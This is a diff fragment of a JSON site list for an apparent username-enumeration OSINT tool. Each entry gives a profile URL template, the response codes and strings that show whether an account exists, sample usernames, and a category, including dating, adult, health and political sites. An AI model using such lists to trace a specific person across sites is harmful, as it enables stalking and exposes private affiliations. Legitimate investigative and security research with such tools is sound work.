"m_string" : "Sorry, that user does not exist", + "m_code" : 404, + "known" : ["greeneyes1607", "lmmartin"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Hubski", + "uri_check" : "https://hubski.com/user/{account}", + "e_code" : 200, + "e_string" : "'s profile", + "m_string" : "No such user.", + "m_code" : 200, + "known" : ["john", "blue"], + "cat" : "social", + "valid" : true + }, + { + "name" : "hugging_face", + "uri_check" : "https://huggingface.co/{account}", + "e_code" : 200, + "e_string" : "thumbnails.huggingface.co/social-thumbnails/", + "m_string" : "Sorry, we can't find the page you are looking for.", + "m_code" : 404, + "known" : ["hack", "dev"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Iconfinder", + "uri_check" : "https://www.iconfinder.com/{account}", + "e_code" : 200, + "e_string" : "iconsets", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["roundicons", "iconfinder"], + "cat" : "images", + "valid" : true + }, + { + "name" : "icq-chat", + "uri_check" : "https://icq.icqchat.co/members/{account}/", + "e_code" : 200, + "e_string" : "ICQ chat", + "m_string" : "Oops! We ran into some problems", + "m_code" : 404, + "known" : ["brookenora.54", "bigdaddy.77"], + "cat" : "social", + "valid" : true + }, + { + "name" : "IFTTT", + "uri_check" : "https://ifttt.com/p/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "The requested page or file does not exist", + "m_code" : 404, + "known" : ["nr9992", "sss90"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "ifunny", + "uri_check" : "https://ifunny.co/user/{account}", + "e_code" : 200, + "e_string" :"subscribers", + "m_string" : "404 - page not found", + "m_code" : 404, + "known" : ["hacker", "john"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "igromania", + "uri_check" : "http://forum.igromania.ru/member.php?username={account}", + "e_code" : 200, + "e_string" : "Форум Игромании - Просмотр профиля:", + "m_string" : "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "m_code" : 200, + "known" : ["bob", "blue"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ilovegrowingmarijuana", + "uri_check" : "https://support.ilovegrowingmarijuana.com/u/{account}", + "e_code" : 200, + "e_string" : "<title> Profile - ", + "m_string" : "Oops! That page doesn’t exist or is private", + "m_code" : 404, + "known" : ["ILGM.Stacy", "Mosaicmind9x"], + "cat" : "social", + "valid" : true + }, + { + "name" : "imagefap", + "uri_check" : "https://www.imagefap.com/profile/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "Invalid uid", + "m_code" : 200, + "known" : ["lover03", "SecretSide15"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "ImageShack", + "uri_check" : "https://imageshack.com/user/{account}", + "e_code" : 200, + "e_string" : "s Images", + "m_string" : "", + "m_code" : 302, + "known" : ["test"], + "cat" : "images", + "valid" : true + }, + { + "name" : "iMGSRC.RU", + "uri_check" : "https://imgsrc.ru/main/user.php?lang=ru&user={account}", + "e_code" : 200, + "e_string" : "Присоединился", + "m_string" : "", + "m_code" : 302, + "known" : ["natalisn","andydiamond","natalyck"], + "cat" : "images", + "valid" : true + }, + { + "name" : "imgur", + "uri_check" : "https://api.imgur.com/account/v1/accounts/{account}?client_id=546c25a59c58ad7&include=trophies%2Cmedallions", + "uri_pretty" : "https://imgur.com/user/{account}/about", + "e_code" : 200, + "e_string" : "created_at", + "m_string" : "unable to find account", + "m_code" : 404, + "known" : ["OliverClothesoff70", "DadOnTheInternet"], + "cat" : "images", + "valid" : true + }, + { + "name" : "inaturalist", + "uri_check" : "https://inaturalist.nz/people/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["greg", "tom"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Independent academia", + "uri_check" : "https://independent.academia.edu/{account}", + "e_code" : 200, + "e_string" : "- Academia.edu", + "m_string" : "Academia.edu", + "m_code" : 404, + "known" : ["peter", "LiamM"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "InkBunny", + "uri_check" : "https://inkbunny.net/{account}", + "e_code" : 200, + "e_string" : "Profile | Inkbunny, the Furry Art Community", + "m_string" : "Members | Inkbunny, the Furry Art Community", + "m_code" : 302, + "known" : ["AdminBunny", "test"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "InsaneJournal", + "uri_check" : "https://{account}.insanejournal.com/profile", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "User:", + "m_string" : "The requested URL /profile was not found on this server", + "m_code" : 200, + "known" : ["test", "pint-sized", "acroamatica"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Instagram", + "uri_pretty" : "https://instagram.com/{account}", + "uri_check" : "https://www.picuki.com/profile/{account}", + "e_code" : 200, + "e_string" : "Instagram profile with posts and stories", + "m_string" : "Nothing found!", + "m_code" : 404, + "known" : ["katyperry", "kirbstr"], + "cat" : "social", + "valid" : true + }, + { + "name" : "instructables", + "uri_check" : "https://www.instructables.com/member/{account}/", + "e_code" : 200, + "e_string" : ">Joined", + "m_string" : "", + "m_code" : 404, + "known" : ["davidandora", "test"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Internet Archive Account", + "uri_check" : "https://archive.org/details/@{account}", + "e_code" : 200, + "e_string" : "User Account", + "m_string" : "<title>cannot find account", + "m_code" : 200, + "known" : ["webbreacher", "jason_scott"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Internet Archive User Search", + "uri_check" : "https://archive.org/search.php?query={account}", + "e_code" : 200, + "e_string" : "<!--/.item-ia-->", + "m_string" : "", + "m_code" : 200, + "known" : ["test", "mubix"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "interpals", + "uri_check" : "https://www.interpals.net/{account}", + "e_code" : 200, + "e_string" : "Looking for", + "m_string" : "User not found", + "m_code" : 200, + "known" : ["test"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "isMyGirl", + "uri_check" : "https://api.fxcservices.com/pub/user/{account}", + "uri_pretty" : "https://ismygirl.com/{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "User does not exist", + "known" : ["kasumineechan", "blinky"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "issuu", + "uri_check" : "https://issuu.com/{account}", + "e_code" : 200, + "e_string" : "- Issuu", + "m_string" : "Oops — we can’t seem to find the page you’re looking for.", + "m_code" : 404, + "known" : ["john", "smith"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "itch.io", + "uri_check" : "https://itch.io/profile/{account}", + "e_code" : 200, + "e_string" : "A member registered", + "m_code" : 404, + "m_string" : "We couldn't find your page", + "known" : ["prestent", "finch"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Japandict", + "uri_check" : "https://forum.japandict.com/u/{account}", + "e_code" : 200, + "e_string" : "Mentions", + "m_code" : 404, + "m_string" : "The page you requested could not be found.", + "known" : ["Yan", "Happy"], + "cat" : "social", + "valid" : true + }, + { + "name" : "jeja.pl", + "uri_check" : "https://www.jeja.pl/user,{account}", + "e_code" : 200, + "e_string" : "Profil użytkownika", + "m_string" : "Niepoprawny login", + "m_code" : 200, + "known" : ["kowal", "janek"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "JBZD", + "uri_check" : "https://jbzd.com.pl/uzytkownik/{account}", + "e_code" : 200, + "e_string" : "Dzidy użytkownika", + "m_string" : "Błąd 404", + "m_code" : 404, + "known" : ["test", "janek"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Jeuxvideo", + "uri_check" : "https://www.jeuxvideo.com/profil/{account}?mode=infos", + "e_code" : 200, + "e_string" : "- jeuxvideo.com", + "m_string" : "rence des gamers", + "m_code" : 404, + "known" : ["jane", "alex"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Joe Monster", + "uri_check" : "https://joemonster.org/bojownik/{account}", + "e_code" : 200, + "e_string" : "jest prywatny", + "m_string" : "Nie wiem jak ci to powiedzieć", + "m_code" : 200, + "known" : ["dandris", "lasior"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "JSFiddle", + "uri_check" : "https://jsfiddle.net/user/{account}/", + "e_code" : 200, + "e_string" : "Settings - JSFiddle - Code Playground", + "m_string" : "That page doesn't exist.", + "m_code" : 404, + "known" : ["john", "alex"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Justforfans", + "uri_check" : "https://justfor.fans/{account}", + "e_code" : 200, + "e_string" : " @ JustFor.Fans", + "m_string" : "", + "m_code" : 302, + "known" : ["devinfrancoxxx", "RileyChaux"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "kaggle", + "uri_check" : "https://www.kaggle.com/{account}", + "e_code" : 200, + "e_string" : "| Kaggle", + "m_string" : "Kaggle: Your Home for Data Science", + "m_code" : 404, + "known" : ["babyoda", "residentmario"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "karab.in", + "uri_check" : "https://karab.in/u/{account}", + "e_code" : 200, + "e_string" : "Dołączył:", + "m_string" : "Błąd 404", + "m_code" : 404, + "known" : ["ernest", "puszkapandory"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Keybase", + "uri_check" : "https://keybase.io/{account}", + "e_code" : 200, + "e_string" : "username", + "m_string" : "sorry, not found", + "m_code" : 404, + "known" : ["test", "mubix"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Kickstarter", + "uri_check" : "https://www.kickstarter.com/profile/{account}", + "e_code" : 200, + "e_string" : "projects", + "m_string" : "Oops, Something went missing", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "kik", + "uri_check" : "https://ws2.kik.com/user/{account}", + "e_code" : 200, + "e_string" : "firstName", + "m_string" : "The page you requested was not found", + "m_code" : 200, + "known" : ["adam", "smith", "jones"], + "cat" : "social", + "valid" : true + }, + { + "name" : "kipin", + "uri_check" : "https://kipin.app/{account}", + "e_code" : 200, + "e_string" : "kipin.app/data/photos/resized2/", + "m_string" : "Page not found. Link expired, broken or wrong.", + "m_code" : 302, + "known" : ["monethica", "asd_fca"], + "cat" : "business", + "valid" : true + }, + { + "name" : "KnowYourMeme", + "uri_check" : "https://knowyourmeme.com/users/{account}", + "e_code" : 200, + "e_string" : "Contributions", + "m_code" : 400, + "m_string" : "404, File Not Found!", + "known" : ["ayumukasuga", "butterin-yobread"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Ko-Fi", + "uri_check" : "https://ko-fi.com/{account}", + "e_code" : 200, + "e_string" : "> Buy a Coffee for", + "m_string" : "Object moved to", + "m_code" : 302, + "known" : ["frank", "marcmakescomics"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Kongregate", + "uri_check" : "https://www.kongregate.com/accounts/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_string" : "Sorry, no account with that name was found", + "m_code" : 404, + "known" : ["test"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Kotburger", + "uri_check" : "https://kotburger.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zamieszcza kotburgery od:", + "m_string" : "Nie znaleziono użytkownika o podanym loginie.", + "m_code" : 200, + "known" : ["ania", "janek"], + "cat" : "images", + "valid" : true + }, + { + "name" : "kwejk.pl", + "uri_check" : "https://kwejk.pl/uzytkownik/{account}#/tablica/", + "e_code" : 200, + "e_string" : "Kwejki użytkownika", + "m_string" : "404 - strona nie została znaleziona - KWEJK.pl", + "m_code" : 404, + "known" : ["test", "janek"], + "cat" : "images", + "valid" : true + }, + { + "name" : "LibraryThing", + "uri_check" : "https://www.librarything.com/profile/{account}", + "e_code" : 200, + "e_string" : "Collections", + "m_string" : "Error: This user doesn't exist", + "m_code" : 200, + "known" : ["test", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Libretooth.gr (Mastodon Instance)", + "uri_check" : "https://libretooth.gr/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://libretooth.gr/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["infolibre", "tzinalilik"], + "cat" : "social", + "valid" : true + }, + { + "name" : "lichess", + "uri_check" : "https://lichess.org/@/{account}", + "e_code" : 200, + "e_string" : "Activity", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["mohammed01", "mohammed03"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "likeevideo", + "uri_check" : "https://likee.video/@{account}", + "e_code" : 200, + "e_string" : "https://img.like.video/", + "m_string" : " </h1>", + "m_code" : 404, + "known" : ["owlthorns", "Severkosh"], + "cat" : "social", + "valid" : true + }, + { + "name" : "LINE", + "uri_check" : "https://line.me/R/ti/p/@{account}?from=page", + "e_code" : 200, + "e_string" : "Add LINE Friends via QR Code", + "m_code" : 404, + "m_string" : "404 Not Found", + "known" : [ "roseareal", "yoasobi" ], + "cat" : "social", + "valid" : true + }, + { + "name" : "Linktree", + "uri_check" : "https://linktr.ee/{account}", + "e_code" : 200, + "e_string" : "| Linktree", + "m_string" : "The page you’re looking for doesn’t exist.", + "m_code" : 404, + "known" : ["anne", "alex"], + "cat" : "social", + "valid" : true + }, + { + "name" : "linux.org.ru", + "uri_check" : "https://www.linux.org.ru/people/{account}/profile", + "e_code" : 200, + "e_string" : "Дата регистрации", + "m_string" : "Пользователя не существует", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Litmind.club (Mastodon Instance)", + "uri_check" : "https://litmind.club/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://litmind.club/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["litmind", "aperture"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Livejournal", + "uri_check" : "https://{account}.livejournal.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "<link rel=\"canonical\" href=\"", + "m_string" : "<title>Unknown Journal", + "m_code" : 404, + "known" : ["jill", "john"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "livemaster.ru", + "uri_check" : "https://www.livemaster.ru/{account}", + "e_code" : 200, + "e_string" : "<title>Магазин мастера", + "m_string" : "<title>Вы попали на несуществующую страницу", + "m_code" : 404, + "known" : ["redart", "ellentoy"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "lobste.rs", + "uri_check" : "https://lobste.rs/u/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "The resource you requested was not found, or the story has been deleted.", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Lor.sh (Mastodon Instance)", + "uri_check" : "https://lor.sh/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://lor.sh/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["dump_stack", "lamountain"], + "cat" : "social", + "valid" : true + }, + { + "name" : "love_ru", + "uri_check" : "https://love.ru/{account}", + "e_code" : 200, + "e_string" : "Love.ru", + "m_string" : "404", + "m_code" : 404, + "known" : ["igor", "anna"], + "cat" : "social", + "valid" : true + }, + { + "name" : "lowcygier.pl", + "uri_check" : "https://bazar.lowcygier.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zarejestrowany", + "m_string" : "Błąd 404 - Podana strona nie istnieje", + "m_code" : 404, + "known" : ["armin", "janek"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "MAGABOOK", + "uri_check" : "https://magabook.com/{account}", + "e_code" : 200, + "e_string" : "Recent Updates", + "m_string" : "Page Not Be Found", + "m_code" : 200, + "known" : ["PamelaElliott62", "eric"], + "cat" : "social", + "valid" : true + }, + { + "name" : "MAGA-CHAT", + "uri_check" : "https://maga-chat.com/{account}", + "e_code" : 200, + "e_string" : "Recent Updates", + "m_string" : "Page Not Be Found", + "m_code" : 200, + "known" : ["Rich", "RjosephJr"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Magix", + "uri_check" : "https://www.magix.info/us/users/profile/{account}/", + "e_code" : 200, + "e_string" : "About me", + "m_string" : "Page not found", + "m_code" : 200, + "known" : ["baywolfmusic", "johnebaker"], + "cat" : "music", + "valid" : true + }, + { + "name" : "MANYVIDS", + "uri_check" : "https://www.manyvids.com/results.php?keywords={account}", + "e_code" : 200, + "e_string" : " Vids</h3>", + "m_string" : "did not return any results", + "m_code" : 200, + "known" : ["alexbreecooper", "sweetkiss_69"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "MapMyTracks", + "uri_check" : "https://www.mapmytracks.com/{account}", + "e_code" : 200, + "e_string" : "Daily distance this week", + "m_string" : "Outside together", + "m_code" : 302, + "known" : ["ulirad", "CBSloan"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Mapstodon.space (Mastodon Instance)", + "uri_check" : "https://mapstodon.space/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://mapstodon.space/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["Autumnhussar", "jeremy"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Maroc_nl", + "uri_check" : "https://www.maroc.nl/forums/members/{account}.html", + "e_code" : 200, + "e_string" :"Bekijk Profiel:", + "m_string" : "Deze gebruiker is niet geregistreerd", + "m_code" : 200, + "known" : ["brahim", "brahim01"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Marshmallow", + "uri_check" : "https://marshmallow-qa.com/{account}", + "e_code" : 200, + "e_string" : "さんにメッセージをおくる", + "m_string" : "For compensation, here are cats for you.", + "m_code" : 404, + "known" : ["yuino_fox", "momo"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Martech", + "uri_check" : "https://martech.org/author/{account}/", + "e_code" : 200, + "e_string" : "twitter:site", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["mani-karthik", "james-green"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Massage Anywhere", + "uri_check" : "https://www.massageanywhere.com/profile/{account}", + "e_code" : 200, + "e_string" : "<title>MassageAnywhere.com Profile for ", + "m_string" : "<title>MassageAnywhere.com: Search Results", + "m_code" : 200, + "known" : ["lorilmccluskey", "LomiNYC"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Mas.town (Mastodon Instance)", + "uri_check" : "https://mas.town/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://mas.town/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["brett", "cheng"], + "cat" : "social", + "valid" : true + }, + { + "name" : "masto.ai", + "uri_check" : "https://masto.ai/@{account}", + "e_code" : 200, + "e_string" : "@masto.ai) - Mastodon", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["rbreich", "stux"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Masto.nyc (Mastodon Instance)", + "uri_check" : "https://masto.nyc/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://masto.nyc/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["seano", "jayjay718"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodonbooks.net (Mastodon Instance)", + "uri_check" : "https://mastodonbooks.net/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://mastodonbooks.net/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["RogerRemacle", "eugnick"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-mastodon", + "uri_check" : "https://mastodon.social/@{account}", + "e_code" : 200, + "e_string" : "profile:username", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["john", "alex"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon.chasedem.dev (Mastodon Instance)", + "uri_check" : "https://mastodon.chasem.dev/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://mastodon.chasem.dev/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["chase", "George"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-API", + "uri_check" : "https://mastodon.social/api/v2/search?q={account}", + "e_code" : 200, + "e_string" : "display_name", + "m_string" : "accounts\":[],\"statuses\":[],\"hashtags\":", + "m_code" : 404, + "known" : ["Richard_Littler", "webbreacher"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon.online", + "uri_check" : "https://mastodon.online/@{account}", + "e_code" : 200, + "e_string" : "@mastodon.online) - Mastodon", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["Gargron", "RDHale"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-Toot.Community", + "uri_check" : "https://toot.community/@{account}", + "e_code" : 200, + "e_string" : "@toot.community) - toot.community", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["Johnny", "jorijn"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-climatejustice.rocks", + "uri_check" : "https://climatejustice.rocks/@{account}", + "e_code" : 200, + "e_string" : "@climatejustice.rocks) - Mastodon", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["paula", "ahmed76farag"], + "cat" : "social", + "valid" : true + }, + { + "name" : "MCName (Minecraft)", + "uri_check" : "https://mcname.info/en/search?q={account}", + "e_code" : 200, + "e_string" : "card mb-3 text-monospace", + "m_string" : "alert alert-success px-0 py-1", + "m_code" : 200, + "known" : ["unrevive", "nxtuny"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "MCUUID (Minecraft)", + "uri_check" : "https://playerdb.co/api/player/minecraft/{account}", + "uri_pretty" : "https://mcuuid.net/?q={account}", + "e_code" : 200, + "e_string" : "Successfully found player by given ID.", + "m_string" : "minecraft.api_failure", + "m_code" : 200, + "known" : ["smithy", "bob"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Mediakits", + "uri_check" : "https://restapi.mediakits.com/mediakits/{account}", + "uri_pretty" : "https://app.mediakits.com/{account}", + "e_code" : 200, + "e_string" : "displayName", + "m_code" : 404, + "m_string" : "The requested media kit does not exist.", + "known" : ["kasuminee", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Medium", + "uri_check" : "https://{account}.medium.com/about", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "Medium member since", + "m_string" : "Out of nothing, something", + "m_code" : 404, + "known" : ["zulie", "jessicalexicus"], + "cat" : "news", + "valid" : true + }, + { + "name" : "medyczka.pl", + "uri_check" : "http://medyczka.pl/user/{account}", + "e_code" : 200, + "e_string" : "Lista uzytkownikow", + "m_string" : "This user has not registered and therefore does not have a profile to view.", + "m_code" : 200, + "known" : ["test", "janek"], + "cat" : "health", + "valid" : true + }, + { + "name" : "meet me", + "uri_check" : "https://www.meetme.com/{account}", + "e_code" : 200, + "e_string" : "Meet people like ", + "m_string" : "<title>MeetMe - Chat and Meet New People</title", + "m_code" : 302, + "known" : ["john", "marsha"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "megamodels.pl", + "uri_check" : "http://megamodels.pl/{account}", + "e_code" : 200, + "e_string" : "Portfolio", + "m_string" : "OSTATNIO AKTYWNE PROFILE", + "m_code" : 200, + "known" : ["ania", "janek"], + "cat" : "social", + "valid" : true + }, + { + "name" : "memrise", + "uri_check" : "https://app.memrise.com/user/{account}/", + "e_code" : 200, + "e_string" : "followers", + "m_string" : "Memrise - Error", + "m_code" : 404, + "known" : ["alice", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Mastodon-meow.social", + "uri_check" : "https://meow.social/@{account}", + "e_code" : 200, + "e_string" : "- the mastodon instances for creatures", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["meow", "novra"], + "cat" : "social", + "valid" : true + }, + { + "name" : "message_me", + "uri_check" : "https://mssg.me/{account}", + "e_code" : 200, + "e_string" : "_id", + "m_string" : "404", + "m_code" : 404, + "known" : ["sue", "david"], + "cat" : "social", + "valid" : true + }, + { + "name" : "metacritic", + "uri_check" : "https://www.metacritic.com/user/{account}", + "e_code" : 200, + "e_string" : "'s Profile - Metacritic", + "m_string" : "Sign up to get your own profile - Metacritic</", + "m_code" : 200, + "known" : ["dev", "matt"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Microsoft Technet Community", + "uri_check" : "https://social.technet.microsoft.com/profile/{account}/", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "The resource you are looking for has been removed", + "m_code" : 404, + "known" : ["john", "test"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Minds", + "uri_check" : "https://www.minds.com/{account}/", + "e_code" : 200, + "e_string" : ") | Minds", + "m_string" : "Sorry, this channel doesn't appear to exist", + "m_code" : 404, + "known" : ["Willieleev1971", "john"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Minecraft List", + "uri_check" : "https://minecraftlist.com/players/{account}", + "e_code" : 200, + "e_string" : "-->was seen on", + "m_string" : "", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Myspreadshop", + "uri_check" : "https://myspreadshop.de/{account}/shopData/list", + "uri_pretty" : "https://{account}.myspreadshop.com", + "e_code" : 200, + "e_string" : "siteName", + "m_code" : 404, + "m_string" : "not found", + "known" : ["arukori", "honey"], + "cat" : "business", + "valid" : true + }, + { + "name" : "naija_planet", + "uri_check" : "https://naijaplanet.com/{account}", + "e_code" : 200, + "e_string" : "dating Profile, ", + "m_string" : "- NaijaPlanet!", + "m_code" : 200, + "known" : ["daniel01", "wales73"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "nairaland", + "uri_check" : "https://www.nairaland.com/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "404: Page Not Found", + "m_code" : 301, + "known" : ["amakaone", "seun"], + "cat" : "news", + "valid" : true + + }, + { + "name" : "NaturalNews", + "uri_check" : "https://naturalnews.com/author/{account}/", + "e_code" : 200, + "e_string" : "All posts by", + "m_string" : "The page you are looking for cannot be found or is no longer available.", + "m_code" : 200, + "known" : ["jdheyes", "healthranger"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Naver", + "uri_check" : "https://blog.naver.com/{account}", + "e_code" : 200, + "e_string" : " : 네이버 블로그", + "m_string" : "페이지를 찾을 수 없습니다", + "m_code" : 500, + "known" : ["bob", "blue"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Neocities", + "uri_check" : "https://neocities.org/site/{account}", + "e_code" : 200, + "e_string" : "noindex, follow", + "m_string" : "- Not Found", + "m_code" : 404, + "known" : ["fauux", "sadgrl"], + "cat" : "social", + "valid" : true + }, + { + "name" : "netvibes", + "uri_check" : "https://www.netvibes.com/{account}", + "e_code" : 200, + "e_string" : "userId", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["nebkacrea", "cdiljda"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Newgrounds", + "uri_check" : "https://{account}.newgrounds.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "fans", + "m_string" : "Whoops, that's a swing and a miss!", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "newmeet", + "uri_check" : "https://www.newmeet.com/en/profile/{account}", + "e_code" : 200, + "e_string" : "The profile of", + "m_string" : ", , , - |", + "m_code" : 200, + "known" : ["mamadou1", "wade"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "nihbuatjajan", + "uri_check" : "https://www.nihbuatjajan.com/{account}", + "e_code" : 200, + "e_string" : ") | Nih buat jajan", + "m_string" : "Nih Buat Jajan", + "m_code" : 302, + "known" : ["banyusadewa", "danirachmat"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Nitecrew (Mastodon Instance)", + "uri_check" : "https://nitecrew.rip/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://nitecrew.rip/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["Myxx", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "nnru", + "uri_check" : "https://{account}.www.nn.ru", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : " ", + "m_string" : "<title>Ошибка 404 -", + "m_code" : 404, + "known" : ["lena", "slava"], + "cat" : "social", + "valid" : true + }, + { + "name" : "NotABug", + "uri_check" : "https://notabug.org/{account}", + "e_code" : 200, + "e_string" : "followers and is following", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["notabug", "hp", "zPlus"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Note", + "uri_check" : "https://note.com/{account}", + "e_code" : 200, + "e_string" : "フォロワー", + "m_code" : 404, + "m_string" : "お探しのページが見つかりません。", + "known" : ["honey", "yui"], + "cat" : "social", + "valid" : true + }, + { + "name" : "oglaszamy24h.pl", + "uri_check" : "https://oglaszamy24h.pl/profil,{account}", + "e_code" : 200, + "e_string" : "Profil użytkownika:", + "m_string" : "Nieprawidłowy link, w bazie danych nie istnieje użytkownik o podanym loginie", + "m_code" : 404, + "known" : ["kowal", "janek"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "ogu.gg", + "uri_check" : "https://ogu.gg/{account}", + "e_code" : 200, + "e_string" : "Username History", + "m_code" : 404, + "m_string" : "The member you specified is either invalid or doesn't exist.", + "known" : ["input", "maxwell"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ok.ru", + "uri_check" : "https://ok.ru/{account}", + "e_code" : 200, + "e_string" : "| OK", + "m_string" : "This page does not exist on OK", + "m_code" : 404, + "known" : ["john", "aleksandrvasillev"], + "cat" : "social", + "valid" : true + }, + { + "name" : "okidoki", + "uri_check" : "https://m.okidoki.ee/ru/users/{account}/", + "e_code" : 200, + 